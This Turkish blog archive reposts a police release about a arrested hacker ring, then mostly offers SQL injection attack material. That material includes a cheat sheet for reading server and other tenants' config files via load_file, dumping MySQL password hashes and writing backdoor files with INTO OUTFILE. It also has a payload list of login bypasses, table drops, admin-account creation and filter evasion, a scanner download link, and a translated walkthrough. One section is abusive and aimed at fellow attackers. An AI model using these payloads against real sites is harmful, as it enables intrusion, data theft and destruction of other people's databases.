31 Mayıs 2009 Pazar

HACKER ÖRGÜTÜ ÇÖKERTİLDİ

Kayseri polisi büyük bir başarıya imza atarak Türkiye çapında yürüttüğü Kayseri merkezli operasyonla Amerikan Uzay Dairesi Başkanlığı; NASA’nın internet sitesini bile çökerten, internet sitesi sahiplerinin korkulu rüyası haline gelen Hacker örgütünü çökertti.

Bir yıldır yürütülen operasyonda 19 yaşındaki bir gencin liderliğindeki 15 kişilik örgütün 200 bin adet kredi kartının bilgilerini ele geçirdiği, 52 bin adet web sitesini çökerttikleri de belirtildi.

Banka hesapları ve kredi kartları üzerinden büyük vurgunlar yaptığı, internet sitelerini çökerterek kamu kurumları ve tüzel kişilere ait bilişim sistemlerine zarar verdiği gerekçesiyle yakalanarak haklarında işlem yapılan şüphelilerin tamamı tutuklandı.

İçlerinde 18 yaşından küçük bir çocuğun da bulunduğu örgütle ilgili olarak Kayseri Emniyet Müdürlüğü’nden akşam saatlerinde yapılan açıklamada konuyla ilgili olarak şu bilgiler verildi:

Kaçakçılık ve Organize Suçlarla Mücadele Şube Müdürlüğümüz Bilişim Suçları Büro Amirliği 1- Çıkar Amaçlı Organize Suç Örgütü Kurmak, Örgüte üye olmak (TCK 220 madde 158/1) 2- TCK 243 ve 244 maddeleri kapsamında Bilişim sistemlerini kullanarak kamu kurumlarına ve tüzel kişiliklere ait bilişim sistemlerine zarar verme erişimi engelleme, verileri yok etme, değiştirme. 3- Banka ve kredi kartının kötüye kullanılması, Banka ve kredi kartı dolandırıcılığı Bilişim Sistemine Girmek suretiyle nitelikli Hırsızlık, nitelikli dolandırıcılık suçlarından,

B A S I N B Ü L T E N İ Emniyet Müdürlüğümüz Kaçakçılık ve Organize Suçlarla Mücadele Şube Müdürlüğümüz Bilişim Suçları Büro Amirliği görevlilerinin 2007 yılından itibaren yaptıkları planlı çalışmalar neticesi Emniyet Genel Müdürlüğü Kaçakçılık Daire Başkanlığı destekli Kayseri Merkezli olmak üzere İstanbul, İzmir, Batman ve Kahramanmaraş illerinde 26/05/2009 tarihinde gerçekleştirilen planlı operasyonda; 1- Çıkar Amaçlı Organize Suç Örgütü Kurmak, Örgüte üye olmak (TCK 220 madde 158/1) 2- TCK 243 ve 244 maddeleri kapsamında Bilişim sistemlerini kullanarak kamu kurumlarına ve tüzel kişiliklere ait bilişim sistemlerine zarar verme erişimi engelleme, verileri yok etme, değiştirme. 3- Banka ve kredi kartının kötüye kullanılması, Banka ve kredi kartı dolandırıcılığı Bilişim Sistemine Girmek suretiyle nitelikli Hırsızlık, nitelikli dolandırıcılık suçlarından, 1- 1990 doğumlu O.D. nin liderliğinde 2- 1990 doğumlu H.A. 3- 1978 doğumlu M.C. 4- 1987 doğumlu İ.Y. 5- 1987 doğumlu M.K. 6- 1988 doğumlu Y.T. 7- 1989 doğumlu Ü.A. 8- 1989 doğumlu Ü.U. 9- 1984 doğumlu V.A. 10- 1988 doğumlu E.D. 11- 1980 doğumlu B.D. 12- 1986 doğumlu O.Ö. 13- 1984 doğumlu V.Y. (Halen Antalya İli Kapalı Cezaevinde Tutuklu) 15- 1992 doğumlu C.F. isimli şahıslar tarafından oluşturulan organize suç örgütünün; Ülkemizdeki kamu kurum ve kuruluşlara (sağlık, güvenlik ve eğitim hizmeti sağlayan), ulusal basın ve yayın kuruluşlarına, şirket ve şahıslara, uluslar arası kuruluşlara, dünyaca ünlü Microsoft yazılımlarına, Amerikan Uzay Dairesi Başkanlığına (NASA) ait internet sitelerini hacklemek suretiyle kullanılamaz hale getirdikleri, Kredi kartı kullanılan alışveriş sitelerinin ve bazı kamu kuruluşlarının veri tabanlarına erişim sağlayarak vatandaşların kredi kartı ve kişisel bilgilerini elde ettikleri, Yine günlük alışveriş yapılan sitelerden sahte kontör ve uçak bileti siteleri gibi (9) ayrı sahte site oluşturarak bu siteleri de günlük 100 TL ücret ödeyerek internet ana sayfalarında yayınlattıkları, alışveriş yapmak isteyen vatandaşların internet ana sayfalarında yayınlanan bu siteleri gerçek site zannederek alışveriş yapmak için kredi kartı bilgileri ve kişisel bilgileri girdiğinde, ekrana “İŞLEMİNİZ GERÇEKLEŞTİRİLEMEDİ DAHA SONRA TEKRAR DENEYİN” veya “SİTEDEKİ YOĞUNLUK NEDENİYLE İŞLEM BAŞARISIZ” gibi yazıların çıkmasını sağladıkları, bu şekilde veri girişi yapılan kredi kartı ve kişisel bilgileri ortak kullandıkları msn adreslerine yönlendirmek suretiyle elde ettikleri, Elde edilen kredi kartlarının, kart limitini ve halen çalışıp çalışmadığının tespiti amacıyla bazı yardım kuruluşlarına ait internet sitelerine 1-10 TL arasında yardım yapmak suretiyle tespit ettikleri, Bu şekilde tespitini yaptıkları kredi kartlarıyla özellikle GSM operatörlerine ait internet sitelerinden sahte msn adreslerini kullanmak suretiyle kablosuz modemle internete erişim sağlayan kamu kuruluşları ile internet cafeler ve otel vb. yerlerin IP adresleri üzerinden erişim sağlayarak yüklü miktarda kontör ve elektronik eşya (bilgisiyar. Laptop, kamera, lcd monitör vb.) satın aldıkları bu şekilde satın aldıkları ürünlere ilişkin sipariş olarak da sahte kimlik ve ikamet adresleri kullanmak suretiyle kargo şirketlerinden teslim aldıkları, Ayrıca satın alınan kontörleri örgütün kontör bayiliği yapan örgüt üyesi 1978 doğumlu M.C. ve 1980 doğumlu B.D. aracılığıyla kendilerine sms ile gönderilen telefon numaralarına yükledikleri, yüklenen kontörlerin de bu şahıslar tarafından piyasaya satılmak suretiyle nakde çevrildikten sonra elde edilen paranın örgüt üyeleri arasında paylaşımının yapıldığı, Bu amaçla örgüt üyelerinin oluşturduğu sahte (fake) sitelerin www.onlinebillet.com , www.kontorat.com www.taksitlikontor.net www.taksitli-kontor.com www.kontor-yolla.com www.vatkontor.com, www.sanalkontorr.com, www.linekontor.com, www.onlinekontor.at, www.kontorlamatik.com www.kontoryüklematik.com www.kontormatik.com www.cicekiletişim.com www.hemenkontor.at www.avrupailetişim.net www.hemenkontorat.com www.kyukle34.com isimli siteler olduğu, Söz konusu sahte siteler aracılığıyla ve kamu kuruluşlar ile alışveriş sitelerinin veri tabanlarından 200.000 adet kredi kartı ve kart sahiplerine ait bilgilerin elde edildiği bu kartlar ile yüklü miktarda harcama yapmak suretiyle haksız kazanç elde ettikleri, Bugüne kadar çok sayıda müştekinin mağdur olmasına ve olayların da faili meçhul kalmasına sebebiyet verdikleri şu an için yapılan tespitlerde 42 müştekiye ulaşılarak mağduriyetlerine ilişkin ifadelerinin alınması sağlanılmış diğer müştekilerin tespiti amacıyla da ilgili banka genel müdürlükleri ve umum Emniyet Müdürlükleri bilgilendirilmiştir. Elde edilen dijital materyalların bilirkişilerce yapılan ön incelemesinde; 1-52.000 Adet web sitesinin hacklendiğine dair bilgiler, 2-200.000 Adet Kredi kartı şifre ve kişisel bilgiler. 3-9 adet (fake) sahte sitenin yapımı ile ilgili bilgi ve görüntüler, 4-39 Adet kimlik kartı fotokopileri, 5-266 Adet kontör yükleme ve transfer etmekte kullanılan sim kart olduğu tespit edilmiştir. Aralarında birçok spor klübünün, birçok sanatçıya ait sitenin, bazı eğitim kuruluşlarına ait internet web sitelerinin, bazı kurum ve kuruluşların web sitelerinin, bazı basın-yayın organlarının web sitelerinin, çok sayıda internet sağlayıcılara ait serverlerin hacklenmesi suretiyle bu serverlerce hizmet alan web sitelerinin yayınlarının kesintiye uğratılması, Örgüt üyelerinin yakalanmasına yönelik ilimiz merkezli olmak üzere İstanbul, İzmir, Batman ve Kahramanmaraş İllerinde 26/05/2009 tarihinde gerçekleştirilen eş zamanlı operasyon neticesinde toplam 15 kişi yakalanmıştır. Şahısların ikamet ve işyerlerinde yapılan aramalarda: 1- 8 Adet Laptop bilgisayar 2-27 adet Harddisk 3-11 Adet Flash Bellek 4-401 Adet Bilgisayar Cd’si 5-3 Adet Harici bellek ve 1 adet disket elde edilmiştir. Örgüt üyelerinden yakalanan 1992 doğumlu C.F. nin 18 yaşından küçük olduğu anlaşıldığından haklarında işlem yapılması için yakalan şüpheli Çocuk Şube Müdürlüğüne teslim edilmiştir. Operasyon neticesinden yakalanarak haklarında işlem yapılan Şüphelilerin tamamı Tutuklanmıştır.

19 Mayıs 2009 Salı

MySqL İnjection

''Ugurcan Engin'' adlı kisinin yazdıgı dökümanı paylasmak istiyorum gercekten cok güsel bir döküman...

MySQL İnjection Cheat Sheet

İÇERİK
1-MySQL Remote Connect - Analiz & Olusabilicek Tehlikeler
2-Hacking Anatomi - MySQL İnjectin-Database Dump
3-Syntax Hataları & Çözümler
4-MySQL Front Kullanımı ile MySQL Remote Connect

MySQL Uzaktan Yonetim - Analizi & Olusabilicek Tehlıkeler

MySQL sorgu dili yonetimindeki dbms (Database Manage System) veritabanına
uzaktan baglanarak veritabanımızı duzenlemek veyahut performans’ı artırmak icin
bir kac sey ekleyebilme ihtiyacı duyabiliriz. Windowsdaki mstsc (Remote Desktop Connect) ile
aynı mantıga sahip de denebilir; fakat is veritabanına uzaktan baglanmaya gelince biraz dusunduruyor.
Guvenlık prosudürü’nu goz onune almak gereklı boyle bir ise koyulmadan evvel.

MySQL’in Kullandıgı Port

” mysql/my.ini ” open !

# The TCP/IP Port the MySQL Server will listen on
” port=3306 ”

+ Buradan portu degistirebiliriz.

Biraz Önlem Brifingi..

- SQL Serverin dısardan baglantisinin kısıtlanması veya baglanacak userlere MySQL de kısıtlı politika uygulanması
mesela sadece kendi db’sine erisim hakkı.

-Once saglamlıgına kanat ettiginiz bir makınada bu tip islemleri yapmanız. (root girisi icin , Lisanslı Firewall destekli bir makına )

-Web teknıklerı yonunden dusundugumuz de is daha vahim boyuta donusebilir , buna asagıda deginecegiz.
Yani sitenızde kullangınız db’e ait script’de herhangi bir acık olmayacak.
Artık ne yapıp edın local sunucunuza scriptinizi kurup , defalarca atak yaparak test edin
ozellikle “SQL” sorgularımıza dikkat ediniz hem kendımız icin hemde serverdaki diger userler (diger siteler)icin
bir tehlıke olusmayacaktır.Aynı zamanda localde aynı databaseyi kullanan siteler icinde.
Diger userlerle ortak kullandıgnız bir database varsayalım , 150 kusurluk bir sub domaın’ın aynı veritabanını kullandıgını
göz onunde bulundurabılırız. İste burada herhangi bir tabloda yapılacak degisiklik diger kisilerinde sistemlerinin etkılenmesıne
web sayfasındakı iceriklerin otomatıkmen aynı sekılde update olmasına neden olcaktır.
-Mumkunse On-Screen Keyboard kullanmanız. (Eger isiniz cok acilse yabancı bir makınadaysanız)

Hacking Anatomi - Load_File & MySQL Database Dump

Herhangi bir sitede SQL İnjection tespit ettigimizi varsayalım ,
Aslında amacımız bu sitedekı SQL İnjectin zaafiyatını kullanarak serverdaki diger sitenin (victim2)’nin
db’sine erismek. Burda MySQL’in uzaktan istege acık oldugunu + serverin Linux dagıtımlarından birini kullandıgını varsayıyorum.
Yapacagımız ilk is MySQL Sorgularını , kurbanın sitesinde servera isletmek olcaktır.

**********
victim.php?id=-1+order+by+7–

// kolon sayısını ogrenıyorum

victim.php?id=-1/**/union/**/select/**/0,1,2,3,4,5,6,7/*

3 4

// Kolon sayısınının esit oldugunu soyluyor.

victim.php?id=-1+union+select+0,1,2,load_file(/etc/passwd),4,5,6,7/* < Linux All

*Linux da “userler”in yetkılerıne temelli sahibiz,
*Windows icin de aynı sey gecerlidir.

********************

// Eger Makina Windows olsaydı..

boot.ini‘yi okuyabiliriz , engel varsa hexleriz.

select ‘c:/boot.ini’

select 0×633a2f626f6f742e696e69

Domainler ” C:/Inetpub ” burada.

victim.php?id=-1+union+select+0,1,2,load_file(0×633a2f626f6f742e6 96e69),4,5,6,7/*

****************************************

Blind Edebiliriz !

substring(load_file(’c:/boot.ini’),58)

” [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOW S …”

****************************************

Windows icinde asagıda goreceginiz teknıkler birebir aynıdır.. Extra uzerınde durmaya gerek yok.

Simdi konumuza geri donelım;

//Kullanıcı adı ve dizinlerin bulundugu yerı ogrenmem icin etcleri listelemem gerekli.
Eger bunu yapamazsanız servera hata verdirip ana dizin yolu ogrenebilirsiniz; ama bu sadece uzerinde calıstıgımız
site icin gecerli olacaktır.

Bu tip karakterlerin(’,-) serverda islemedigi durumlarda kurdugumuz sorguları hexleriz veya ascii koda cevirip sorguya
dahil ederiz.
Neden bu karakterle pasif olur peki ?
php.ini deki “magic_quotes_gpc” direktifinin “On” olmasıdır. Dolayısyla numerik dısında gelen sayıları ters slash’a “\,/”
cevirecektir.

Calısma mantıgı ,

(int) , intval(GET),POST,COOKİE) , addslashes() ile aynı isleve sahiptir.

****************************************

- UYGULAMA -

/**/union/**/select/**/0,1,2,load_file(/etc/passwd),4,5,6,7/*

Eger engel varsa ;

> > victim.php?=88888881 union select 0,1,2,unhex(hex(/etc/passwd),4,5,6,7

// Serverda ki tüm kullanıcı adları ve konumlandıgı klasörler karsımızda.

Target “victim2?

/home/victim2/httpdocs:
/home/site/httpdocs:


***********
Amacımız victim2 adlı kurbanın dbsini ele gecirmek , Bunun icin victim2 adlı hedefin
db bilgilerinin saklandıgı dosyayı bulmak gereklı , genelde “config.php” , main.php , common.php olur
Uzamasın diye kısaltalım biraz “httpdocs” adlı klasorde “main.php” oldugunu varsayıyorum
soyle bir ıstekde bulunuyorum ;

/**/union+select+0,1,2,load_file(/home/victim2/httpdocs/main.php),4,5,6,7/*

// Burada gene hexleyecegız parantez icindekı karakterleri.

/**/union/**/select/**/0,1,2,load_file(0×2F686F6D652F76696374696D322F6874 7470646F63732F6D61696E2E706870),4,5,6,7/*

************

Syntax Hataları & Çözümler

Alternatif durumlar da goreve dahil ettigimiz MySQL katarları : “char” , “concat” , “blob” , “varchar” …

Serverda ” magic_quotes_gpc = On ” direktifi aktif oldugunda ;

victim.php?id=88888881 union select 0,1,2,3,4,5,6,7

3 4

/home/victim2/httpdocs/main.php < Go to ascıı code converted

victim.php?=88888881 union select 0,1,2,load_file(char(/home/victim2/httpdocs/main.php))),4,5,6,7

victim.php?=88888881 union select 0,1,2,load_file(concat(char(47,104,111,109,101,47, 118,105,99,116,105,109,50,47,104,116,116,112,100,1 11,99,115,47,109,97,105,110,46,112,104,112)))),4,5 ,6,7



[ part 1]

“information_schema” adlı databaseden satırları okuyarak tüm db isimleri ve kolon+satırları elde ederiz.

/**/union/**/select/**/0,1,2,concat(COLUMN_NAME,0×2020,TABLE_NAME,0×2020, TABLE_SCHEMA),4,5,6,7+from+information_schema.colu mns+limit+1,8/*

1 kayıttan baslıyoruz , 8. son kayıta kadar sorguluyoruz.

Example :

SELECT * FROM `users` LIMIT 1, 8

[ part 2 ]

/**/union/**/select/**/0,1,2,concat(table_name),4,5,6,7+from+information_ schema.tables+where=’DB_NAME’+limit 1,8/*

Engel oldugunu varsayıyorum ,

union select 0,1,2 unhex((hex(table_name))) 4,5,6,7 from information_schema.tables where char(ascicode(DB_NAME)) limit 1,8

****************************************

[+] Yukarıda load_file ile yaptıgım atağın sonucu geldı.

// Database Server
$forum_server = “localhost”; // Ben yerel sunucumu (Localhost) ele alıyorum.
// Database User Name
$forum_un = “root”;
// Database Password
$forum_pw = “nrci”;
// Database name
$forum_database = “SQL_GODS”;
?>

Bakın victim1 deki SQL hatalarını İnjecte edip serverdakı dizinleri okuyup victim2 adlı userin veritabanı baglantı
bilgilerini ele gecirdik , yani anahtarı aldık.. Fakat burada soyle bir sey var sunucunun dısında oldugumuzdan
“victim2? adlı kurbanın dbsine erismemiz icin serverin 3306.portunun Remote baglanti icin “enable” olması lasim. Eger disable durumdaysa bir ise yaramaz.
Remote Baglantı İşimiz sadece MySQL Front veya telnet tipi programlar ile basitlesebiliyor.

Localımız de MySQL databasemize baglanmak , sql cekmek , tum MySQL islemlerimizide “mscommand” uzerınden de yapabiliriz.

Example :

D:\wos\mysql\bin>mysql –user=root –password=root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.0.45-community-nt MySQL Community Edition (GPL)

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql> create database U238;
Query OK, 1 row affected (0.01 sec) // Örnek olarak bir veritabanı olusturdum.

****************************************

MySQL’i injecte ederken isimize yarıycak 2 database ve kolon+satırlar ,

————————–

+++ information_schema +++


“COLUMNS”
+++ “TABLES” +++


+++ mysql +++


“db”
+++ “user” +++
————————-

// Dolayısıyla mysql.user veritabanını kullanarak mysql veritabanındakı “users” adlı tablodan mysql root sifresinin
hashını da alabiliriz. Hashı crack edip Remote baglanti ile tüm databaseye ulasılabilir.

+ User
+ Password

/**/union/**/select/**/0,1,2,concat(user,0×2020,password),4,5,6,7+from+my sql.user/*

MySQL Front Usage & Remote Connect

Public edilmis sekilde asagıdaki adresten indirebilirsiniz.

http://www.mysqlfront.de/download.html

Programı oncelıkle kurup - actıgımız da karsımıza

“Add Session” Adı altında “General” sekmesi gelecektir.

// Burada bir isim giriyoruz farketmez ne oldugu. Daha sonra hemen yanındaki inputa(bosluga) geliyoruz.

“Connection”

// Server ile baglanti ayarlarını yapıyoruz. Yerel sunucumu kullanıyorum.

* Server : 127.0.0.1 // Baglanacagımız serverin “İp” adresi , (victim protokol)
* Port : 3306 // (Genelde sabit olur ) Eger SQL serverin Portu’nu degistirdiysenız, o portu aynen giriyoruz.
* Connection Type : Built-in // Baglantı türümüzü ayarlıyoruz , sabit kalması muhtemel isimizi gorecektir.

“Login”

//Burada db bilgilerini giriyoruz .
Daha sonra “ok” + “Open” deyip baglanıyoruz.

Not: “İp” adresi ile servera istek yollanır , uzak masaustu gibi dusunun, siz o serverda bir “user” veya full db erisim hakkına sahip olan
root gibi dusunun , sadece belirtilen “db” altındakı tablo ve kolonlara erisiriz.Yani tum veritabanı degil. Eger userler icin
MySQL yetkileri kısıtlanmamıssa ;

İste Bu kadar. Suanda , ”sql” rahatlıkla export edilebilir , Tablolar dakı tum bılgıler okunabilir , Yenı tablo ve kolonlar olusturulabilir.Database drob edilebilir.

Sql Injection,yasaklanmış karakterler hakkında

Alemin_Kralından Alıntıdır...

sql injection saldırıları yaparken hep böyle hata almaya çalıştık
site.com/mismis.php?parametre=değişken'a

ama bazen bunu koydugumuzda beyaz bir sayfayla falan karşılaşabiliyoruz bunun sebebi
oruspu ç.webmasterların ' gibi karakterleri engellemesindendir başka birşeyden degildir
biz lameroglu lamerlerde bunu geçmek için şu fonksiyonları kullanırız

concat() char()

şimdi bir örnek verelim . ne yapalım mesela kullanicilar tablosundan kullanici columndan verileri çekmek isteyelim sorgumuz nasıl oluşur ?

SELECT kullanici FROM kullanicilar WHERE kullanici='admin'
evet sorgum böyle olcek. ama bizim piç webmaster ipnelik yapmış gene ve alamadık istedigimiz çok istegimiz verileri vayy gitti herneyse.şimdi nasıl alacaz biz nasıl bir piçlik yapacazki bu verileri alacaz ?

hemen şey edim

select kullanici from kullanicilar where kullanici=CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),
CHAR(110),CHAR(39))

şeklinde bir saldırı uygularsak istedigimiz verilere ulaşabilirz.

bkz: http://www.easycalculation.com/ascii-hex.php

Farklı Sql İnjection Yöntemleri

' and 1 in (select cast(x as varchar) from temp) --

' union select * from msysobjects in 'c:\ <<< "access sql dosya okuma

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

burada select @@version fonksiyonunu encodeledik .
; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e;
EXEC (@x)

'; EXEC ('SEL' + 'ECT US' + 'ER')


' and 1 in (select cast(x as varchar) from temp) --



' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --

' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' +
systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype
= 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --


; bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

uni'on sel'ect @@version-'-

'update users set password='password' where username='admin'--'

' update News set Title=min( char(80), char(83) ) -- yada
' update News set Title=char(80),char(70)--

; insert into users values ( 0, char(0x31), char(0x34), 0xffff) << harfleri birleştiriyon
yani char(85)=m char(88)=u char(90)=r gibi anladın ?

; bulk insert foo from 'c:\inetbub\wwwroot\login.asp' << guzel gibi.

; create table foo( line varchar(8000) )

' drop table foo --

' union select ret,1,1,1 from foo--

' union select min(password) from users where username > 'a' --

' union select min(username) from users where username > 'a' --

; insert into users values ( 0, 'admin', 'r00tr0x!', 0xffff) << login sayfalarinda

' union select 1,username,password,4 -- <<< bunu giris sayfalarında yapabiliriz.

'or 1=1 --

; drop table users-- << login sayfalarinda

' union select sum(username) from user-- >>>sayi fonksiyonu olabilir.

' and 1 in (select substring (x, 256, 256) from temp) --
' and 1 in (select @@servername ) --


MS SQL
exec sp_addlogin 'victor', 'Pass123'
exec sp_addsrvrolemember 'victor', 'sysadmin'
MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass123'))
Access
CREATE USER victor IDENTIFIED BY 'Pass123'
Postgres (requires UNIX account)
CREATE USER victor WITH PASSWORD 'Pass123'
Oracle
CREATE USER victor IDENTIFIED BY Pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;


MS Access;

MsysACEs
MsysObjects
MsysQueries
MsysRelationships

' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --


'or'1'='1'

UNI/**/ON SEL/**/ECT



yada

; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');



EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'


formusr = ' or 1=1 – –
formpwd = anything

Final query would look like this:
SELECT * FROM users
WHERE username = ' ' or 1=1


$formacct = 1 or 1=1 #
$formpin = 1111

Final query would look like this:
SELECT * FROM clients
WHERE account = 1 or 1=1
# AND pin = 1111


' and 1 in (select 'text' ) - -

union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;

' and condition and '1'='1


Could be as simple as ' and '1' = '1
Or ' and '1' = '2

union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );

mysql inj:dosya oluşturmak~ dosya okumak

mysql injection olayında dosya oluşturmak çok basittir.hemen göstereyim.
şimdi sitemiz burası olsun
http://www.site.com/x.php?id=1
aldıgımız hatalara göre colomnları yazalım örnegin 5 colomn olsun
http://www.site.com/x.php?id=-1 union select 1,2,3,4,5
aldıgımız hatada 3 olsun
http://www.site.com/x.php?id=-1 union select 1,2,'buraya oluştracagimiz dosyanin kodu',4,5 INTO+OUFILE+'sitenin dizini/olusturacaginiz dosyanin adi'/*

örnegin kendimize rfi yolu açabiliriz
"buraya oluştracagimiz dosyanin kodu" yazan yere ''
bsait bir sayfa çagırma kodu ile kendimize rfi yolu açabiliriz.

Dosya okumak ise daha basit bir olay.load_file() fonksiyonu ile dosya okuyabilirsiniz.
şöyleki
union select 1,2,load_file(etc/passwd) komutu ile etc dizinindeki passwd dosyasını okuyabilirsiniz yada sizin istediginiz dosyayı... ama bazen magic qoutes buna karşı koyar onun içinde hexleyip başına 0x katarak olayı çözebilirsiinz.bazende hexlemek yetmez charlayip yapmaya gerek kaabilir o da şöyle oluyorki;
LOAD_FILE(CHAR(charladiginz dizin))
gibi...

SQL Injection Scanner

Download Link : http://rapidshare.com/files/61279612/SQLScanner.rar.html

SQL Injection, Bölüm 1

19 Mayıs 2009 tarihli

GüvenlikBu yazı SQL Injection tekniklerini öğrenip sitelere zarar vermek isteyenlerden çok, işin temelini anlayıp gerekli önlemleri almak isteyen sunucu yöneticileri, programcılar için yazılmış olup, SQL Injection Walkthrough yazısının bir çevirisi niteliğindedir. 2 bölümden oluşan yazının ilk bölümünde SQL Injection’a giriş ve temel saldırı tekniklerini inceliyoruz.
1 Giriş

Bir sunucunun yalnızca 80 numaralı portu açıksa, port tarayıcılarının bir açık yakalayamayacağını ve admin’in gerekli patch’leri yaptığını bilirsiniz. Bu durumda geriye web hacking methodları kalır. SQL injection yalnızca 80. porta ihtiyaç duyan, sunucuya veya sunucunun işletim sistemine değil de üzerinde çalışan uygulamalara (ASP, JSP, PHP, CGI gibi) saldıran bir tekniktir.
1.2 SQL Injection Nedir?

SQL Injection, web sayfalarını kullanarak SQL sorgusu ve komutu gönderme tekniğidir. Birçok site kullanıcıdan aldığı parametrelerle veritabanına sorgular göndermektedir. Örnek olarak kullanıcı girişi sayfasını düşünün, girilen ad ve şifre yardımıyla bu kişinin kayıtlı bir kullanıcı olup olmadığı veritabanına sorulur. SQL Injection ile SQL sorgusunu değiştireceğimiz ve istediğimiz bilgilere ulaşabileceğimiz sonuçlar elde edebiliriz.
1.3 Malzemeler

Sadece internet tarayıcısı.
2 Neleri Aramalısınız?

Kullanıcının bilgi gönderebileceği sayfaları bulmalısınız; mesela kullanıcı girişi, arama sayfası, yorum sayfası gibi. Genelde html sayfaları kullanıcı girdilerini gönderirken POST methodunu kullanırlar, böylece sayfanın adresinde parametreleri göremezsiniz. Bu durumda sayfanın kaynak kodunu inceleyerek hangi parametreleri gönderdiğini bulabilirsiniz. Arayacağınız html etiketi form olmalı, örnek olarak:
< method="post" action="Search/search.asp">
< type="hidden" name="A" value="C">
<>

form etiketleri arasındaki herşey potansiyel parametrelerdir.
2.1 Ya input alan bir sayfa bulamazsam?!

Sitede ASP, JSP, CGI veya PHP gibi sayfalar aramalısınız. Özellikle aşağıdaki gibi parametre alan sayfalara dikkat edin:

http://www.example.com/index.asp?id=10
3 Bu sayfa uygun mu, nasıl test ederim?

Tek tırnak hilesiyle başlayabilirsiniz. Bunun için input alanına hey' or 1=1-- girin. Örnek:

* Kullanıcı adı: hey' or 1=1--
* Şifre: hey' or 1=1--
* http://www.example.com/index.php?id=hey’ or 1=1–

Eğer bu işlemi hidden bir input alanıyla yapmanız gerekiyorsa sayfanın kaynak kodunu bilgisayarınıza kaydedip form alanını aşağıdaki şekilde düzenleyin.
< action="http://www.example.com/Search/search.asp" method="post">
< type="hidden" name="A" value="hey' or 1=1--">
< /form>

Şanslıysanız siteye kullanıcı adı ve şifre olmadan giriş yapmış olacaksınız.
3.1 Ama neden ‘ or 1=1–?

Bu hileyi siteye giriş yapmanın yanında ekstra bilgilere ulaşmak için kullanabilirsiniz. Örnek olarak aşağıdaki ASP sayfasını ele alalım:
http://www.example.com/index.asp?category=food

URL’de category değişkenin adı, ve food ise bu değişkene atanan değerdir. Food kategorisindeki bilgileri listelemek için kullanılacak kod aşağıdaki gibidir:
v_cat = request(”category”)
sqlstr = “SELECT * FROM product WHERE PCategory=’” & v_cat & “‘”
set rs = conn.execute(sqlstr)

Gördüğünüz gibi gönderdiğimiz bilgi v_cat değişkenine atandı, daha sonra bu değişkenle bir SQL sorgusu oluşturuldu.
SELECT * FROM product WHERE PCatego

« Günlüğünüzü Popülerleştirmek için 5 Yol
Ekim’de Neler Oldu? »



SQL Injection, Bölüm 1 | Yaramazadam
10 Ağustos 2008

[...] Bu yazı SQL Injection tekniklerini öğrenip sitelere zarar vermek isteyenlerden çok, işin temelini anlayıp gerekli önlemleri almak isteyen sunucu yöneticileri, programcılar için yazılmış olup, SQL Injection Walkthrough yazısının bir çevirisi niteliğindedir. 2 bölümden oluşan yazının ilk bölümünde SQL Injection’a giriş ve temel saldırı tekniklerini inceliyoruz. (more…) [...]

SQL Injection, Bölüm 2

SQL Injection Walkthrough çevirisinin 2. bölümünde MS SQL Server üzerinde SQL injection yöntemlerini ve saldırılara karşı korunma yollarını inceliyoruz.

6 ODBC hata mesajıyla veritabanındaki tablo adlarını almak

MS SQL Server tarafından oluşturulan ODBC hata mesajlarını kullanarak neredeyse her türlü bilgiye ulaşmanız mümkün. Örnek olarak şöyle bir sayfa kullanıldığını düşünün:

http://www.example.com/index.asp?id=10

Adresteki 10 sayısının yanına, veritabanına ulaşabileceğimiz birkaç sorgu ekleyelim:

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

INFORMATION_SCHEMA.TABLES sunucuda kayıtlı tüm tabloların listesini tutan bir sistem tablosudur. TABLE_NAME ise bu sistem tablosundaki bir değişkendir. “SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–” sorgusu bize veritabanındaki ilk tablonun adını dönecek. Tablonun adını 10 sayısıyla birleştirmeye -UNION- çalışınca ise şöyle bir hata mesajıyla karşılaşacağız, ki bu bize istediğimiz bilgiyi veriyor olacak:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1‘ to a column of data type int.
/index.asp, line 5

Bu hata mesajı bize saf saf ilk tablonun table1 olduğunu söyledi. Sonraki tablonun adını almak için (1), veya içerisinde login geçen bir tabloyu bulmak için (2) şunları deneyebilirsiniz:

(1) http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’table1′)–

(2) http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25‘–

Sonuç:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login‘ to a column of data type int.
/index.asp, line 5

6.1 Tablonun değişkenlerine ulaşmak

Bunun için bir başka kullanışlı sistem tablosu olan INFORMATION_SCHEMA.COLUMNS tablosunu kullanacağız.

